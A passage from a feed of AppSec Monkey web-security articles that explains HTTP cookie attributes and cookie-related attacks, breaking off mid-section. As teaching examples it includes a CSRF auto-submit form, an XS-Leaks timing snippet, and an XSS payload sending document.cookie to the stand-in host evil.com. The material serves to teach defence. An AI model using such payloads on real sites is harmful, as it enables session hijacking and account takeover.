&lt;p&gt;The users of any web application can be targeted with MITM attacks even if the website uses HTTPS. Luckily developers can take some measures to protect an application from these attacks. These are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use HTTPS.&lt;/li&gt;
&lt;li&gt;Use HSTS and preload it.&lt;/li&gt;
&lt;li&gt;Configure your server's TLS settings appropriately.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--elZVxGdx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Cookie Security: 10 Tips To Protect Your Web Application</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Fri, 12 Mar 2021 09:06:59 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/cookie-security-10-tips-to-protect-your-web-application-4hnc</link>
      <guid>https://forem.com/appsecmonkey/cookie-security-10-tips-to-protect-your-web-application-4hnc</guid>
      <description>&lt;p&gt;Learn everything about HTTP cookie security, what are cookie-related attacks and how to defend against them.&lt;/p&gt;

&lt;p&gt;I will assume that the reader is a developer, and use terms like "variable" and "property" to make things &lt;em&gt;easier&lt;/em&gt; to understand. If the reader happens not to be a developer, I apologize.&lt;/p&gt;

&lt;p&gt;You can read the original article &lt;a href="https://www.appsecmonkey.com/blog/cookie-security/"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's begin!&lt;/p&gt;

&lt;h2&gt;
  
  
  What Are Cookies?
&lt;/h2&gt;

&lt;p&gt;An HTTP cookie is a variable that a website can set in a browser. Cookies are practically a key-value storage, but there are some additional properties in the &lt;code&gt;Cookie&lt;/code&gt; class that you will learn about soon.&lt;/p&gt;

&lt;p&gt;Usually, web servers set cookies via the &lt;code&gt;Set-Cookie&lt;/code&gt; HTTP response header, like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However it is also possible for a website to set cookies via JavaScript:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SessionId=s3cr3t&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is what a cookie looks like in the browser's cookie jar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SessionId"&lt;/span&gt;
&lt;span class="na"&gt;Value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;s3cr3t"&lt;/span&gt;
&lt;span class="na"&gt;Domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www.example.com"&lt;/span&gt;
&lt;span class="na"&gt;ExpiresOrMaxAge&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Session"&lt;/span&gt;
&lt;span class="na"&gt;HostOnly&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;HttpOnly&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;Path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/"&lt;/span&gt;
&lt;span class="na"&gt;SameSite&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;None"&lt;/span&gt;
&lt;span class="na"&gt;Secure&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browsers then send these cookies back to the webserver in the &lt;code&gt;Cookie&lt;/code&gt; request header, like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Foo=Bar; SessionId=s3cret;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that browsers only send the name and value of the cookies back to the webserver.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Are Cookies Used For?
&lt;/h2&gt;

&lt;p&gt;Cookies are used for many purposes, mostly tracking, personalization, and session management. In this article, we are mainly concerned with session management.&lt;/p&gt;

&lt;p&gt;For instance, it's common for a web application to issue a session identifier cookie to users upon authentication.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Where Are Cookies Sent?
&lt;/h2&gt;

&lt;p&gt;Cookies have four properties that affect their scope, that is, to which URL addresses the cookie gets sent. These are: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;domain&lt;/code&gt;: To which domain, possibly including subdomains, should browsers send the cookie?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hostOnly&lt;/code&gt;: Should browsers only send the cookie to the exact domain that sets it, excluding subdomains?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path&lt;/code&gt;: To which URL paths (i.e., /foo/bar) should browsers send the cookie?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;secure&lt;/code&gt;: Should browsers only send the cookie over encrypted channels (HTTPS, WSS) or also unencrypted (HTTP, WS)?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Who Can Set Cookies For A Website?
&lt;/h2&gt;

&lt;p&gt;Any website can set cookies for: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Its domain.&lt;/li&gt;
&lt;li&gt;Its parent domain (any of them except for TLD or public suffix).&lt;/li&gt;
&lt;li&gt;By extension, but not directly, all subdomains of the parent domain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, &lt;code&gt;foo.example.com&lt;/code&gt; can set a cookie for &lt;code&gt;.example.com&lt;/code&gt;, in which case browsers will also send the cookie to &lt;code&gt;example.com&lt;/code&gt; and &lt;code&gt;bar.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Specifying the domain is facilitated via the &lt;code&gt;Domain&lt;/code&gt; property. &lt;/p&gt;

&lt;h3&gt;
  
  
  Can HTTP Websites Set Cookies on HTTPS Websites?
&lt;/h3&gt;

&lt;p&gt;Yes. The scheme (e.g. http:// or https://) doesn't matter. Also, the port doesn't matter. For example, websites &lt;code&gt;https://www.example.com:12345&lt;/code&gt; and &lt;code&gt;http://www.example.com&lt;/code&gt; share cookies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Domain Property
&lt;/h2&gt;

&lt;p&gt;This property determines which websites the cookie should be sent to, and defaults to the hostname of the website that sets the cookie.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;www.example.com&lt;/code&gt; is the one setting the cookie, then the &lt;code&gt;domain&lt;/code&gt; will be &lt;code&gt;www.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is possible to change this value into, e.g. &lt;code&gt;.www.example.com&lt;/code&gt;, after which browsers will send the cookie to &lt;code&gt;www.example.com&lt;/code&gt; and all of its subdomains (&lt;code&gt;foo.www.example.com&lt;/code&gt;, &lt;code&gt;bar.www.example.com&lt;/code&gt;, etc.).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Send the cookie to www.example.com and all subdomains of www.example.com&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cret; domain=.www.example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;☝ Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even if you specify &lt;code&gt;domain=www.example.com&lt;/code&gt;, the browser will silently change it to &lt;code&gt;domain=.www.example.com&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;A website can also scope a cookie to its parent domain, with the following limitations: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scoping a cookie for a TLD (Top Level Domain) is not allowed.&lt;/li&gt;
&lt;li&gt;Scoping a cookie for a public suffix is not allowed. Read more about the list here: &lt;a href="https://publicsuffix.org/"&gt;public suffix list&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If &lt;code&gt;www.example.com&lt;/code&gt; scopes a cookie to &lt;code&gt;.example.com&lt;/code&gt;, browsers will send the cookie to &lt;code&gt;example.com&lt;/code&gt; and all its subdomains.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Send the cookie to example.com and all subdomains of example.com&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cret; domain=.example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Setting the &lt;code&gt;domain&lt;/code&gt; property will automatically flip the &lt;code&gt;hostOnly&lt;/code&gt; boolean to &lt;code&gt;false&lt;/code&gt;. Let's look at this property next.&lt;/p&gt;

&lt;h2&gt;
  
  
  HostOnly Property
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;HostOnly&lt;/code&gt; property determines whether browsers should only send the cookie to the exact domain that created it. If it's false, browsers will also send the cookie to subdomains.&lt;/p&gt;

&lt;p&gt;There is no manual configuration for &lt;code&gt;HostOnly&lt;/code&gt; in the &lt;code&gt;Set-Cookie&lt;/code&gt; header. It is always &lt;code&gt;true&lt;/code&gt; unless you set the &lt;code&gt;domain&lt;/code&gt; property, in which case it is always &lt;code&gt;false&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Here HostOnly is true&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cret;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Here HostOnly is false&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cret; domain=www.example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Path Property
&lt;/h2&gt;

&lt;p&gt;Developers can use the &lt;code&gt;path&lt;/code&gt; property to limit the paths to which the cookie gets sent.&lt;/p&gt;

&lt;p&gt;By setting the &lt;code&gt;path&lt;/code&gt; to &lt;code&gt;/foo/bar&lt;/code&gt;, browsers will only include the cookie in requests such as &lt;code&gt;https://www.example.com/foo/bar&lt;/code&gt; or &lt;code&gt;https://www.example.com/foo/bar/hello&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Browsers will not send it to &lt;code&gt;https://www.eample.com/foo/barbars&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; path=/foo/bar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cookie Attacks
&lt;/h2&gt;

&lt;p&gt;There is a multitude of cookie-related security risks. Here are some of the most prominent ones: &lt;/p&gt;

&lt;h3&gt;
  
  
  CSRF (Cross-Site Request Forgery)
&lt;/h3&gt;

&lt;p&gt;These vulnerabilities usually arise when a web application that uses cookies for session management fails to verify an HTTP POST request's origin.&lt;/p&gt;

&lt;p&gt;Say, for example, that users could log in to AppSec Monkey and update their email addresses.&lt;/p&gt;

&lt;p&gt;The backend code would perhaps look like this (at least if you use Django):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;new_email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'new_email'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;set_new_email&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's say there's an evil website &lt;code&gt;evil.example.com&lt;/code&gt; with the following HTML form and auto-submit script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;  &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://www.appsecmonkey.com/user/update-email/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"new_email"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"evil@example.com"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;badform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a user that is currently logged in to &lt;code&gt;www.appsecmonkey.com&lt;/code&gt; enters the malicious website, the HTML form is auto-submitted on the user's behalf, and the following HTTP POST request gets immediately sent to &lt;code&gt;www.appsecmonkey.com&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST /user/update-email/ HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.appsecmonkey.com&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t&lt;/span&gt;
&lt;span class="nn"&gt;...&lt;/span&gt;

&lt;span class="s"&gt;new_email=evil@example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the email address gets changed.&lt;/p&gt;

&lt;p&gt;Notice how the &lt;code&gt;SessionId&lt;/code&gt; cookie was included in the request, making the attack possible.&lt;/p&gt;

&lt;p&gt;Read more about CSRF attacks here: &lt;a href="https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/"&gt;CSRF Attacks &amp;amp; Prevention&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  XSS (Cross-Site Scripting)
&lt;/h3&gt;

&lt;p&gt;XSS vulnerabilities arise when untrusted data gets interpreted as code in a web context. They can result from many programming mistakes, but here is a simple example.&lt;/p&gt;

&lt;p&gt;Say, we have a PHP script like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;p&amp;gt;Search results for: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'search'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;/p&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is vulnerable because it generates HTML unsafely. The &lt;code&gt;search&lt;/code&gt; parameter is not &lt;em&gt;encoded&lt;/em&gt; correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://www.example.com/?search=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Results in HTML like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Search results for: &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now what the attacker can do, is change the &lt;code&gt;alert("XSS")&lt;/code&gt; into something more nefarious. For example, the following IMG tag would take the logged in user's cookies and send them over to evil.com:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://www.example.com/?search=&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"this.src='https://www.evil.com/collect?cookie='+document.cookie"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note how the cookie was &lt;em&gt;accessible to JavaScript code&lt;/em&gt;, making it possible to steal it. Note also how the cookie was &lt;em&gt;sent&lt;/em&gt; in the GET request to &lt;code&gt;https://www.example.com/search&lt;/code&gt;, making it possible to exploit the XSS vulnerability in the context of an authenticated user.&lt;/p&gt;

&lt;p&gt;Read more about XSS attacks here: &lt;a href="https://www.appsecmonkey.com/blog/xss-attack-and-prevention/"&gt;XSS Attacks &amp;amp; Prevention&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  XS-Leaks (Cross-Site Leaks)
&lt;/h3&gt;

&lt;p&gt;XS-Leaks (or Cross-Site Leaks) are a &lt;a href="https://xsleaks.dev/"&gt;set of browser side-channel attacks&lt;/a&gt;. They enable malicious websites to infer data from the users of other web applications.&lt;/p&gt;

&lt;p&gt;For instance, evil.com could send a request to &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt; on your behalf, and based on the response time, deduce what kind of content was returned to you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://www.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The request took %d ms.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are many, many more similar techniques and novel attacks using them. For this article's purposes, just notice that the timing attack was possible because the browser included the session cookie in the cross-site request.&lt;/p&gt;

&lt;p&gt;Read more about XS-Leaks here: &lt;a href="https://www.appsecmonkey.com/blog/xs-leaks/"&gt;XS-Leaks Attacks &amp;amp; Prevention&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Network Attacks
&lt;/h3&gt;

&lt;p&gt;An attacker on the same network as the browser user can trivially intercept the network connection between the browser and the webserver. That's just how the network protocols work.&lt;/p&gt;

&lt;p&gt;As such, developers and architects should not consider network medium a security control (encryption is a security control), but that's a rant for another day.&lt;/p&gt;

&lt;p&gt;An attacker on the network can then force the target user's browser into making an unencrypted connection to &lt;code&gt;http://www.example.com&lt;/code&gt; and then steal the session cookie from the request.&lt;/p&gt;

&lt;p&gt;Notice how the session cookie, which was only supposed to be used on an HTTPS page, was transmitted over an unencrypted connection.&lt;/p&gt;

&lt;p&gt;Network attacks can also be used to set or overwrite cookies. For example, the attacker could again force an unencrypted connection to the webserver and then forge a reply with a &lt;code&gt;Set-Cookie&lt;/code&gt; header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The security implications of forcing a cookie into a user's browser vary.&lt;/p&gt;

&lt;p&gt;A typical attack is session fixation. An attacker forces a session identifier into the target user's browser and then waits for the user to log in. The vulnerable web application fails to create a new session identifier on login. Instead, it authenticates the cookie already known to the attacker.&lt;/p&gt;

&lt;p&gt;For our purposes here, observe how it was possible to set the cookie over an unencrypted connection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Malicious Subdomains
&lt;/h3&gt;

&lt;p&gt;Let's say you have &lt;code&gt;safe.example.com&lt;/code&gt; and &lt;code&gt;hacked.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The first way in which the hacked domain could attack your users' cookies is that you have for some reason specified the &lt;code&gt;domain&lt;/code&gt; property and scoped your cookie to &lt;code&gt;.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now &lt;code&gt;hacked.example.com&lt;/code&gt; only has to redirect your logged-in user to their website, and the cookies will be theirs.&lt;/p&gt;

&lt;p&gt;The second way is that &lt;code&gt;hacked.example.com&lt;/code&gt; sets or overwrites a cookie and scopes it to the domain &lt;code&gt;.example.com&lt;/code&gt;. Now the cookie, which was set by &lt;code&gt;hacked.example.com&lt;/code&gt; will be sent to &lt;code&gt;safe.example.com&lt;/code&gt;. The security implications again differ for each application, but session fixation is a common threat.&lt;/p&gt;

&lt;h3&gt;
  
  
